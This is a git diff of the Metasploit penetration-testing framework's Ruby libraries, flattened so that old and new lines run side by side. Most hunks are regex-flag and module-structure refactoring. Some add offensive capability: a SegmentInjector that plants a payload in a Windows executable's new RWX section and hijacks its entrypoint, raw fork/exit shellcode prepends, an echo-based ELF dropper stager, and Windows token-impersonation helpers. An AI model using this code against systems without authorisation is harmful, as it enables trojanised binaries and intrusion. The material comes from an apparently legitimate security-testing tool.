user = ([nil, "<BLANK>"].include?($1)) ? "" : $1 user = ([nil, "<BLANK>"].include?($1)) ? "" : $1
pass = "" pass = ""
ptype = "smb_hash" ptype = "smb_hash"
when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/ # Must be a user pass when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/n # Must be a user pass
user = ([nil, "<BLANK>"].include?($1)) ? "" : dehex($1) user = ([nil, "<BLANK>"].include?($1)) ? "" : dehex($1)
pass = ([nil, "<BLANK>"].include?($2)) ? "" : dehex($2) pass = ([nil, "<BLANK>"].include?($2)) ? "" : dehex($2)
ptype = "password" ptype = "password"
@ -3531,7 +3531,7 @@ class DBManager
# If hex notation is present, turn them into a character. # If hex notation is present, turn them into a character.
def dehex(str) def dehex(str)
hexen = str.scan(/\x5cx[0-9a-fA-F]{2}/) hexen = str.scan(/\x5cx[0-9a-fA-F]{2}/n)
hexen.each { |h| hexen.each { |h|
str.gsub!(h,h[2,2].to_i(16).chr) str.gsub!(h,h[2,2].to_i(16).chr)
} }
@ -5039,7 +5039,7 @@ class DBManager
next if r[0] != 'results' next if r[0] != 'results'
next if r[4] != "12053" next if r[4] != "12053"
data = r[6] data = r[6]
addr,hname = data.match(/([0-9\x2e]+) resolves as (.+)\x2e\\n/)[1,2] addr,hname = data.match(/([0-9\x2e]+) resolves as (.+)\x2e\\n/n)[1,2]
addr_map[hname] = addr addr_map[hname] = addr
end end
@ -5160,7 +5160,7 @@ class DBManager
# HostName # HostName
host.elements.each('ReportItem') do |item| host.elements.each('ReportItem') do |item|
next unless item.elements['pluginID'].text == "12053" next unless item.elements['pluginID'].text == "12053"
addr = item.elements['data'].text.match(/([0-9\x2e]+) resolves as/)[1] addr = item.elements['data'].text.match(/([0-9\x2e]+) resolves as/n)[1]
hname = host.elements['HostName'].text hname = host.elements['HostName'].text
end end
addr ||= host.elements['HostName'].text addr ||= host.elements['HostName'].text
@ -5855,7 +5855,7 @@ class DBManager
data.each_line do |line| data.each_line do |line|
next if line =~ /^#/ next if line =~ /^#/
next if line !~ /^Protocol on ([^:]+):([^\x5c\x2f]+)[\x5c\x2f](tcp|udp) matches (.*)$/ next if line !~ /^Protocol on ([^:]+):([^\x5c\x2f]+)[\x5c\x2f](tcp|udp) matches (.*)$/n
addr = $1 addr = $1
next if bl.include? addr next if bl.include? addr
port = $2.to_i port = $2.to_i

View File

@ -20,7 +20,7 @@ class Export
end end
def myusername def myusername
@username ||= (ENV['LOGNAME'] || ENV['USERNAME'] || ENV['USER'] || "unknown").to_s.strip.gsub(/[^A-Za-z0-9\x20]/,"_") @username ||= (ENV['LOGNAME'] || ENV['USERNAME'] || ENV['USER'] || "unknown").to_s.strip.gsub(/[^A-Za-z0-9\x20]/n,"_")
end end
# Hosts are always allowed. This is really just a stub. # Hosts are always allowed. This is really just a stub.
@ -115,7 +115,7 @@ class Export
user = (c.user.nil? || c.user.empty?) ? "<BLANK>" : c.user user = (c.user.nil? || c.user.empty?) ? "<BLANK>" : c.user
pass = (c.pass.nil? || c.pass.empty?) ? "<BLANK>" : c.pass pass = (c.pass.nil? || c.pass.empty?) ? "<BLANK>" : c.pass
if pass != "<BLANK>" if pass != "<BLANK>"
pass = (c.pass.upcase =~ /^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/m) ? c.pass : "<BLANK>" pass = (c.pass.upcase =~ /^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/nm) ? c.pass : "<BLANK>"
end end
if pass == "<BLANK>" if pass == "<BLANK>"
# Basically this is an error (maybe around [\x20-\x7e] in regex) above # Basically this is an error (maybe around [\x20-\x7e] in regex) above
@ -206,7 +206,7 @@ class Export
report_file.write %Q|<?xml version="1.0" encoding="UTF-8"?>\n| report_file.write %Q|<?xml version="1.0" encoding="UTF-8"?>\n|
report_file.write %Q|<MetasploitV4>\n| report_file.write %Q|<MetasploitV4>\n|
report_file.write %Q|<generated time="#{Time.now.utc}" user="#{myusername}" project="#{myworkspace.name.gsub(/[^A-Za-z0-9\x20]/,"_")}" product="framework"/>\n| report_file.write %Q|<generated time="#{Time.now.utc}" user="#{myusername}" project="#{myworkspace.name.gsub(/[^A-Za-z0-9\x20]/n,"_")}" product="framework"/>\n|
yield(:status, "start", "hosts") if block_given? yield(:status, "start", "hosts") if block_given?
report_file.write %Q|<hosts>\n| report_file.write %Q|<hosts>\n|
@ -352,7 +352,7 @@ class Export
if value if value
data = marshalize(value) data = marshalize(value)
data.force_encoding(Encoding::BINARY) if data.respond_to?('force_encoding') data.force_encoding(Encoding::BINARY) if data.respond_to?('force_encoding')
data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/){ |x| "\\x%.2x" % x.unpack("C*")[0] } data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] }
el << REXML::Text.new(data) el << REXML::Text.new(data)
end end
return el return el

View File

@ -0,0 +1,108 @@
module Msf
module Exe
require 'metasm'
class SegmentInjector
attr_accessor :payload
attr_accessor :template
attr_accessor :arch
attr_accessor :buffer_register
def initialize(opts = {})
@payload = opts[:payload]
@template = opts[:template]
@arch = opts[:arch] || :x86
@buffer_register = opts[:buffer_register] || 'edx'
unless %w{eax ecx edx ebx edi esi}.include?(@buffer_register.downcase)
raise ArgumentError, ":buffer_register is not a real register"
end
end
def processor
case @arch
when :x86
return Metasm::Ia32.new
when :x64
return Metasm::X86_64.new
end
end
def create_thread_stub
<<-EOS
hook_entrypoint:
pushad
push hook_libname
call [iat_LoadLibraryA]
push hook_funcname
push eax
call [iat_GetProcAddress]
mov eax, [iat_CreateThread]
lea edx, [thread_hook]
push 0
push 0
push 0
push edx
push 0
push 0
call eax
popad
jmp entrypoint
hook_libname db 'kernel32', 0
hook_funcname db 'CreateThread', 0
thread_hook:
lea #{buffer_register}, [thread_hook]
add #{buffer_register}, 9
EOS
end
def payload_as_asm
asm = ''
@payload.each_byte do |byte|
asm << "db " + sprintf("0x%02x", byte) + "\n"
end
return asm
end
def payload_stub
asm = create_thread_stub
asm << payload_as_asm
shellcode = Metasm::Shellcode.assemble(processor, asm)
shellcode.encoded
end
def generate_pe
# Copy our Template into a new PE
pe_orig = Metasm::PE.decode_file(template)
pe = pe_orig.mini_copy
# Copy the headers and exports
pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
pe.header.time = pe_orig.header.time
# Generate a new code section set to RWX with our payload in it
s = Metasm::PE::Section.new
s.name = '.text'
s.encoded = payload_stub
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
# Tell our section where the original entrypoint was
s.encoded.fixup!('entrypoint' => pe.optheader.image_base + pe.optheader.entrypoint)
pe.sections << s
pe.invalidate_header
# Change the entrypoint to our new section
pe.optheader.entrypoint = 'hook_entrypoint'
pe.cpu = pe_orig.cpu
pe.encode_string
end
end
end
end

View File

@ -135,11 +135,11 @@ module Exploit::Remote::Arkeia
end end
# Store the version information # Store the version information
mver = resp.match(/IVERSION\x00([^\x00]+)/) mver = resp.match(/IVERSION\x00([^\x00]+)/n)
info['Version'] = mver[1] if mver info['Version'] = mver[1] if mver
# Store the hostname information # Store the hostname information
mver = resp.match(/ISERVNAME\x00([^\x00]+)/) mver = resp.match(/ISERVNAME\x00([^\x00]+)/n)
info['Hostname'] = mver[1] if mver info['Hostname'] = mver[1] if mver
# Begin the ARKADMIN_GET_MACHINE_INFO request # Begin the ARKADMIN_GET_MACHINE_INFO request
@ -182,7 +182,7 @@ module Exploit::Remote::Arkeia
# Finally, parse out and store all the parameters # Finally, parse out and store all the parameters
resp.split("TPVALUE\x00").each { |x| resp.split("TPVALUE\x00").each { |x|
minf = x.match(/^([^\x00]+)\x00PNAME\x00([^\x00]+)/) minf = x.match(/^([^\x00]+)\x00PNAME\x00([^\x00]+)/n)
if (minf) if (minf)
info[ minf[2] ] = minf[1] info[ minf[2] ] = minf[1]
end end

View File

@ -0,0 +1,34 @@
# -*- coding: binary -*-
require 'msf/core/exploit/cmdstager'
module Msf
####
# Allows for staging cmd to arbitrary payloads through the CmdStagerEcho.
#
# This stager uses the echo's "-e" flag, that enable interpretation of
# backslash escapes, to drop an ELF with the payload embedded to disk.
# The "-e" flag is usually available on linux environments. This stager
# has been found useful on restricted linux based embedded devices, and
# should work on either:
# * Systems with busy box's echo binary somewhere in $PATH.
# * Systems with bash/zsh whose echo builtin supports -en flags.
# * Systems with GNU coreutils echo which supports -en flags.
#
####
module Exploit::CmdStagerEcho
include Msf::Exploit::CmdStager
# Initializes a CmdStagerEcho instance for the supplied payload
#
# @param exe [String] The payload embedded into an ELF
# @return [Rex::Exploitation::CmdStagerEcho] Stager instance
def create_stager(exe)
Rex::Exploitation::CmdStagerEcho.new(exe)
end
end
end

View File

@ -20,10 +20,16 @@ module Exploit::FileDropper
# @return [void] # @return [void]
# #
def on_new_session(session) def on_new_session(session)
super
if session.type == "meterpreter" if session.type == "meterpreter"
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi") session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
end end
if not @dropped_files or @dropped_files.empty?
return true
end
@dropped_files.delete_if do |file| @dropped_files.delete_if do |file|
win_file = file.gsub("/", "\\\\") win_file = file.gsub("/", "\\\\")
if session.type == "meterpreter" if session.type == "meterpreter"
@ -58,8 +64,6 @@ module Exploit::FileDropper
true true
end end
end end
super
end end
# #

View File

@ -463,8 +463,8 @@ module Exploit::Remote::HttpClient
end end
if datastore['RPORT'].to_i == 3790 if datastore['RPORT'].to_i == 3790
if res.code == 302 and res.headers and res.headers['Location'] =~ /[\x5c\x2f](login|setup)$/ if res.code == 302 and res.headers and res.headers['Location'] =~ /[\x5c\x2f](login|setup)$/n
if res['Server'] =~ /^(thin.*No Hup)|(nginx[\x5c\x2f][\d\.]+)$/ if res['Server'] =~ /^(thin.*No Hup)|(nginx[\x5c\x2f][\d\.]+)$/n
extras << "Metasploit" extras << "Metasploit"
end end
end end

View File

@ -1,9 +1,5 @@
# -*- coding: binary -*- # -*- coding: binary -*-
require 'msf/core/post_mixin'
module Msf
class Exploit
### ###
# #
@ -13,16 +9,14 @@ class Exploit
# network communication. # network communication.
# #
### ###
class Local < Exploit class Msf::Exploit::Local < Msf::Exploit
include PostMixin require 'msf/core/post_mixin'
include Msf::PostMixin
# #
# Returns the fact that this exploit is a local exploit. # Returns the fact that this exploit is a local exploit.
# #
def exploit_type def exploit_type
Exploit::Type::Local Msf::Exploit::Type::Local
end end
end end
end
end

View File

@ -25,6 +25,7 @@ require 'msf/core/exploit/cmdstager_debug_write'
require 'msf/core/exploit/cmdstager_debug_asm' require 'msf/core/exploit/cmdstager_debug_asm'
require 'msf/core/exploit/cmdstager_tftp' require 'msf/core/exploit/cmdstager_tftp'
require 'msf/core/exploit/cmdstager_bourne' require 'msf/core/exploit/cmdstager_bourne'
require 'msf/core/exploit/cmdstager_echo'
# Protocol # Protocol
require 'msf/core/exploit/tcp' require 'msf/core/exploit/tcp'

View File

@ -694,9 +694,10 @@ module Exploit::Remote::MSSQL
if(info[:rows] and not info[:rows].empty?) if(info[:rows] and not info[:rows].empty?)
tbl = Rex::Ui::Text::Table.new( tbl = Rex::Ui::Text::Table.new(
'Indent' => 1, 'Indent' => 1,
'Header' => "", 'Header' => "",
'Columns' => info[:colnames] 'Columns' => info[:colnames],
'SortIndex' => -1
) )
info[:rows].each do |row| info[:rows].each do |row|

View File

@ -110,9 +110,9 @@ module Exploit::Remote::MYSQL
end end
if plugin_res.respond_to? :split if plugin_res.respond_to? :split
target_path = plugin_res.split(/[\x5c\x2f]+/).join("/") << "/" target_path = plugin_res.split(/[\x5c\x2f]+/n).join("/") << "/"
elsif base_res.respond_to? :split elsif base_res.respond_to? :split
target_path = base_res.split(/[\x5c\x2f]+/).join("/") << "/bin/" target_path = base_res.split(/[\x5c\x2f]+/n).join("/") << "/bin/"
else else
print_error "Cannot determine the plugin directory." print_error "Cannot determine the plugin directory."
return false return false
@ -123,7 +123,7 @@ module Exploit::Remote::MYSQL
print_status "Checking for temp directory..." print_status "Checking for temp directory..."
res = mysql_get_variable("@@tmpdir") res = mysql_get_variable("@@tmpdir")
if res.respond_to? :split if res.respond_to? :split
target_path = res.split(/[\x5c\x2f]+/).join("/") << "/" target_path = res.split(/[\x5c\x2f]+/n).join("/") << "/"
else else
print_error "Cannot determine the temp directory, exiting." print_error "Cannot determine the temp directory, exiting."
return false return false

View File

@ -11,8 +11,6 @@ module Msf
# #
# written by corelanc0d3r <peter.ve [at] corelan.be> # written by corelanc0d3r <peter.ve [at] corelan.be>
# #
# Version: $Revision$
#
### ###
module Exploit::Omelet module Exploit::Omelet

View File

@ -195,7 +195,7 @@ module Exploit::Remote::RealPort
# Send negotiate request # Send negotiate request
sock.put(pkt2) sock.put(pkt2)
res = sock.get_once(-1, 5) res = sock.get_once(-1, 5)
if res.to_s =~ /^\xff/ if res.to_s =~ /^\xff/n
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}") vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
return :closed return :closed
end end
@ -221,7 +221,7 @@ module Exploit::Remote::RealPort
sock.put(pkt3) sock.put(pkt3)
res = sock.get_once(-1, 5) res = sock.get_once(-1, 5)
if res.to_s =~ /^\xff/ if res.to_s =~ /^\xff/n
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}") vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
return :closed return :closed
end end

View File

@ -645,7 +645,7 @@ module Exploit::Remote::SMB
buff << " FP: #{line}\n" buff << " FP: #{line}\n"
end end
prov.split(/\x00\x00+/).each do |line| prov.split(/\x00\x00+/n).each do |line|
line.gsub!("\x00",'') line.gsub!("\x00",'')
line.strip! line.strip!
next if line.length < 6 next if line.length < 6
@ -755,8 +755,8 @@ module Exploit::Remote::SMBServer
if (pkt_nbs.v['Type'] == 0x81) if (pkt_nbs.v['Type'] == 0x81)
# Accept any name they happen to send # Accept any name they happen to send
host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/, '') host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '')
host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/, '') host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '')
smb[:nbdst] = host_dst smb[:nbdst] = host_dst
smb[:nbsrc] = host_src smb[:nbsrc] = host_src

View File

@ -104,6 +104,7 @@ class Module
require 'msf/core/module/target' require 'msf/core/module/target'
require 'msf/core/module/auxiliary_action' require 'msf/core/module/auxiliary_action'
require 'msf/core/module/has_actions' require 'msf/core/module/has_actions'
require 'msf/core/module/deprecated'
# #
# Creates an instance of an abstract module using the supplied information # Creates an instance of an abstract module using the supplied information

View File

@ -336,9 +336,9 @@ class Payload < Msf::Module
# Check to see if the value is a hex string. If so, convert # Check to see if the value is a hex string. If so, convert
# it. # it.
if val.kind_of?(String) if val.kind_of?(String)
if val =~ /^\\x/ if val =~ /^\\x/n
val = [ val.gsub(/\\x/, '') ].pack("H*").unpack(pack)[0] val = [ val.gsub(/\\x/n, '') ].pack("H*").unpack(pack)[0]
elsif val =~ /^0x/ elsif val =~ /^0x/n
val = val.hex val = val.hex
end end
end end

View File

@ -19,6 +19,13 @@ module Msf::Payload::Linux
register_advanced_options( register_advanced_options(
[ [
Msf::OptBool.new('PrependFork',
[
false,
"Prepend a stub that executes: if (fork()) { exit(0); }",
"false"
]
),
Msf::OptBool.new('PrependSetresuid', Msf::OptBool.new('PrependSetresuid',
[ [
false, false,
@ -97,6 +104,17 @@ module Msf::Payload::Linux
# Prepend # Prepend
if (datastore['PrependFork'])
pre << "\x6a\x02" +# pushb $0x2 #
"\x58" +# popl %eax #
"\xcd\x80" +# int $0x80 ; fork #
"\x85\xc0" +# test %eax,%eax #
"\x74\x06" +# jz 0xf #
"\x31\xc0" +# xor %eax,%eax #
"\xb0\x01" +# movb $0x1,%al ; exit #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetresuid']) if (datastore['PrependSetresuid'])
# setresuid(0, 0, 0) # setresuid(0, 0, 0)
pre << "\x31\xc9" +# xorl %ecx,%ecx # pre << "\x31\xc9" +# xorl %ecx,%ecx #
@ -197,10 +215,8 @@ module Msf::Payload::Linux
"\xcd\x80" # int $0x80 # "\xcd\x80" # int $0x80 #
end end
end
# Handle all Power/CBEA code here # Handle all Power/CBEA code here
if (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ])) elsif (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))
# Prepend # Prepend
@ -277,9 +293,21 @@ module Msf::Payload::Linux
"\x38\x1f\xfe\x02" +# addi r0,r31,-510 # "\x38\x1f\xfe\x02" +# addi r0,r31,-510 #
"\x44\xff\xff\x02" # sc # "\x44\xff\xff\x02" # sc #
end end
end
if (test_arch.include?(ARCH_X86_64)) elsif (test_arch.include?(ARCH_X86_64))
if (datastore['PrependFork'])
# if (fork()) { exit(0); }
pre << "\x6a\x39" # push 57 ; __NR_fork #
pre << "\x58" # pop rax #
pre << "\x0f\x05" # syscall #
pre << "\x48\x85\xc0" # test rax,rax #
pre << "\x74\x08" # jz 0x08 #
pre << "\x48\x31\xff" # xor rdi,rdi #
pre << "\x6a\x3c" # push 60 ; __NR_exit #
pre << "\x58" # pop rax #
pre << "\x0f\x05" # syscall #
end
if (datastore['PrependSetresuid']) if (datastore['PrependSetresuid'])
# setresuid(0, 0, 0) # setresuid(0, 0, 0)
@ -389,8 +417,8 @@ module Msf::Payload::Linux
# Append exit(0) # Append exit(0)
if (datastore['AppendExit']) if (datastore['AppendExit'])
app << "\x48\x31\xff" # xor rdi,rdi # app << "\x48\x31\xff" # xor rdi,rdi #
pre << "\x6a\x3c" # push 0x53 # app << "\x6a\x3c" # push 0x3c #
pre << "\x58" # pop rax # app << "\x58" # pop rax #
app << "\x0f\x05" # syscall # app << "\x0f\x05" # syscall #
end end
end end

View File

@ -14,7 +14,6 @@ module Payload::Osx::BundleInject
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'Mac OS X Inject Mach-O Bundle', 'Name' => 'Mac OS X Inject Mach-O Bundle',
'Version' => '$Revision$',
'Description' => 'Inject a custom Mach-O bundle into the exploited process', 'Description' => 'Inject a custom Mach-O bundle into the exploited process',
'Author' => 'Author' =>
[ [

View File

@ -12,9 +12,21 @@ require 'msf/core'
module Msf::Payload::Windows module Msf::Payload::Windows
require 'msf/core/payload/windows/prepend_migrate' require 'msf/core/payload/windows/prepend_migrate'
# Provides the #prepends method # Provides the #prepends method
# XXX: For some unfathomable reason, the order of requires here is
# important. If this include happens after require'ing the files
# below, it causes the windows/exec payload (and probably others) to
# somehow not have PrependMigrate despite having Payload::Windows,
# which leads to a NoMethodError on #prepends
include Msf::Payload::Windows::PrependMigrate include Msf::Payload::Windows::PrependMigrate
require 'msf/core/payload/windows/dllinject'
require 'msf/core/payload/windows/exec'
require 'msf/core/payload/windows/loadlibrary'
require 'msf/core/payload/windows/reflectivedllinject'
require 'msf/core/payload/windows/x64/reflectivedllinject'
# #
# ROR hash associations for some of the exit technique routines. # ROR hash associations for some of the exit technique routines.
# #

View File

@ -16,7 +16,6 @@ module Payload::Windows::DllInject
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'Windows Inject DLL', 'Name' => 'Windows Inject DLL',
'Version' => '$Revision$',
'Description' => 'Inject a custom DLL into the exploited process', 'Description' => 'Inject a custom DLL into the exploited process',
'Author' => 'Author' =>
[ [

View File

@ -16,7 +16,6 @@ module Payload::Windows::Exec
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'Windows Execute Command', 'Name' => 'Windows Execute Command',
'Version' => '$Revision$',
'Description' => 'Execute an arbitrary command', 'Description' => 'Execute an arbitrary command',
'Author' => [ 'vlad902', 'sf' ], 'Author' => [ 'vlad902', 'sf' ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,

View File

@ -16,7 +16,6 @@ module Payload::Windows::LoadLibrary
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'Windows LoadLibrary Path', 'Name' => 'Windows LoadLibrary Path',
'Version' => '$Revision$',
'Description' => 'Load an arbitrary library path', 'Description' => 'Load an arbitrary library path',
'Author' => [ 'sf', 'hdm' ], 'Author' => [ 'sf', 'hdm' ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,

View File

@ -20,7 +20,6 @@ module Payload::Windows::ReflectiveDllInject
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'Reflective DLL Injection', 'Name' => 'Reflective DLL Injection',
'Version' => '$Revision$',
'Description' => 'Inject a DLL via a reflective loader', 'Description' => 'Inject a DLL via a reflective loader',
'Author' => [ 'sf' ], 'Author' => [ 'sf' ],
'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ], 'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ],

View File

@ -20,7 +20,6 @@ module Payload::Windows::ReflectiveDllInject_x64
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'Reflective DLL Injection', 'Name' => 'Reflective DLL Injection',
'Version' => '$Revision$',
'Description' => 'Inject a DLL via a reflective loader', 'Description' => 'Inject a DLL via a reflective loader',
'Author' => [ 'sf' ], 'Author' => [ 'sf' ],
'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ], 'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ],

View File

@ -1,24 +1,31 @@
# -*- coding: binary -*- # -*- coding: binary -*-
require 'msf/core/post_mixin'
module Msf
# #
# A Post-exploitation module # A Post-exploitation module
# #
# class Msf::Post < Msf::Module
class Post < Msf::Module
include PostMixin require 'msf/core/post/common'
require 'msf/core/post_mixin'
require 'msf/core/post/file'
require 'msf/core/post/linux'
require 'msf/core/post/osx'
require 'msf/core/post/solaris'
require 'msf/core/post/unix'
require 'msf/core/post/windows'
include Msf::PostMixin
def setup; end def setup; end
def type def type
MODULE_POST Msf::MODULE_POST
end end
def self.type def self.type
MODULE_POST Msf::MODULE_POST
end end
# #
@ -39,6 +46,3 @@ class Post < Msf::Module
mod mod
end end
end end
end

View File

@ -1,12 +1,6 @@
# -*- coding: binary -*- # -*- coding: binary -*-
require 'msf/core/post/file' module Msf::Post::Common
module Msf
class Post
module Common
# #
# Checks if the remote system has a process with ID +pid+ # Checks if the remote system has a process with ID +pid+
@ -121,5 +115,3 @@ module Common
end end
end end
end
end

View File

@ -0,0 +1,4 @@
module Msf::Post::Linux
require 'msf/core/post/linux/priv'
require 'msf/core/post/linux/system'
end

5
lib/msf/core/post/osx.rb Normal file
View File

@ -0,0 +1,5 @@
module Msf::Post::OSX
require 'msf/core/post/osx/system'
require 'msf/core/post/osx/ruby_dl'
end

View File

@ -1,11 +1,6 @@
# -*- coding: binary -*- # -*- coding: binary -*-
require 'msf/core/post/common'
require 'msf/core/post/file'
module Msf module Msf::Post::OSX::System
class Post
module OSX
module System
include ::Msf::Post::Common include ::Msf::Post::Common
include ::Msf::Post::File include ::Msf::Post::File
@ -108,7 +103,4 @@ module System
end end
return groups return groups
end end
end # System end
end # OSX
end # Post
end # Msf

View File

@ -0,0 +1,4 @@
module Msf::Post::Solaris
require 'msf/core/post/solaris/priv'
require 'msf/core/post/solaris/system'
end

View File

@ -1,8 +1,6 @@
# -*- coding: binary -*- # -*- coding: binary -*-
module Msf module Msf::Post::Unix
class Post
module Unix
# #
# Returns an array of hashes each representing a user # Returns an array of hashes each representing a user
@ -83,6 +81,3 @@ module Unix
end end
end end
end
end

View File

@ -0,0 +1,15 @@
module Msf::Post::Windows
require 'msf/core/post/windows/accounts'
require 'msf/core/post/windows/cli_parse'
require 'msf/core/post/windows/eventlog'
require 'msf/core/post/windows/file_info'
require 'msf/core/post/windows/powershell'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/process'
require 'msf/core/post/windows/railgun'
require 'msf/core/post/windows/registry'
require 'msf/core/post/windows/services'
require 'msf/core/post/windows/shadowcopy'
require 'msf/core/post/windows/user_profiles'
end

View File

@ -177,6 +177,71 @@ module Accounts
:integrity_label :integrity_label
][enum_value - 1] ][enum_value - 1]
end end
# Gets an impersonation token from the primary token.
#
# @return [Fixnum] the impersonate token handle identifier if success, nil if
# fails
def get_imperstoken
adv = session.railgun.advapi32
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
tok_all << " | TOKEN_ADJUST_DEFAULT"
pid = session.sys.process.open.pid
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
if it["return"] #if it fails return 0 for error handling
return it["DuplicateTokenHandle"]
else
return nil
end
end
# Gets the permissions granted from the Security Descriptor of a directory
# to an access token.
#
# @param [String] dir the directory path
# @param [Fixnum] token the access token
# @return [String, nil] a String describing the permissions or nil
def check_dir_perms(dir, token)
adv = session.railgun.advapi32
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
result = ""
#define generic mapping structure
gen_map = [0,0,0,0]
gen_map = gen_map.pack("L")
buffer_size = 500
#get Security Descriptor for the directory
f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
if (f['return'] and f["lpnLengthNeeded"] <= buffer_size)
sd = f["pSecurityDescriptor"]
elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
elsif (f['GetLastError'] == 2)
vprint_error("The system cannot find the file specified: #{dir}")
return nil
else
vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}")
return nil
end
#check for write access, called once to get buffer size
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
len = a["PrivilegeSetLength"]
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
if !r["return"] then return nil end
if r["GrantedAccess"] > 0 then result << "R" end
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
if !w["return"] then return nil end
if w["GrantedAccess"] > 0 then result << "W" end
end
end # Accounts end # Accounts
end # Windows end # Windows
end # Post end # Post

View File

@ -2,12 +2,7 @@
require 'msf/core/post/windows/accounts' require 'msf/core/post/windows/accounts'
module Msf module Msf::Post::Windows::Priv
class Post
module Windows
module Priv
include ::Msf::Post::Windows::Accounts include ::Msf::Post::Windows::Accounts
# #
@ -90,7 +85,3 @@ module Priv
end end
end end
end
end
end

View File

@ -2,22 +2,21 @@
require 'msf/core' require 'msf/core'
require 'msf/core/module' require 'msf/core/module'
module Msf
# #
# A mixin used for providing Modules with post-exploitation options and helper methods # A mixin used for providing Modules with post-exploitation options and helper methods
# #
module PostMixin module Msf::PostMixin
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
include Msf::Module::HasActions include Msf::Module::HasActions
include Msf::Post::Common
def initialize(info={}) def initialize(info={})
super super
register_options( [ register_options( [
OptInt.new('SESSION', [ true, "The session to run this module on." ]) Msf::OptInt.new('SESSION', [ true, "The session to run this module on." ])
] , Msf::Post) ] , Msf::Post)
# Default stance is active # Default stance is active
@ -217,5 +216,3 @@ protected
end end
end end
end end
end

View File

@ -1112,8 +1112,8 @@ class Db
else else
# Anything that wasn't an option is a host to search for # Anything that wasn't an option is a host to search for
unless (arg_host_range(arg, host_ranges)) unless (arg_host_range(arg, host_ranges))
return return
end end
end end
end end
@ -1546,7 +1546,8 @@ class Db
return return
end end
file = args[1] || ::File.join(Msf::Config.get_config_root, "database.yml") file = args[1] || ::File.join(Msf::Config.get_config_root, "database.yml")
if (::File.exists? ::File.expand_path(file)) file = ::File.expand_path(file)
if (::File.exists? file)
db = YAML.load(::File.read(file))['production'] db = YAML.load(::File.read(file))['production']
framework.db.connect(db) framework.db.connect(db)
@ -1744,23 +1745,31 @@ class Db
# Miscellaneous option helpers # Miscellaneous option helpers
# #
# Parse +arg+ into a {RangeWalker} and append the result into +host_ranges+
# #
# Parse +arg+ into a RangeWalker and append the result into +host_ranges+ # @note This modifies +host_ranges+ in place
#
# Returns true if parsing was successful or nil otherwise.
#
# NOTE: This modifies +host_ranges+
# #
# @param arg [String] The thing to turn into a RangeWalker
# @param host_ranges [Array] The array of ranges to append
# @param required [Boolean] Whether an empty +arg+ should be an error
# @return [Boolean] true if parsing was successful or false otherwise
def arg_host_range(arg, host_ranges, required=false) def arg_host_range(arg, host_ranges, required=false)
if (!arg and required) if (!arg and required)
print_error("Missing required host argument") print_error("Missing required host argument")
return return false
end end
begin begin
host_ranges << Rex::Socket::RangeWalker.new(arg) rw = Rex::Socket::RangeWalker.new(arg)
rescue rescue
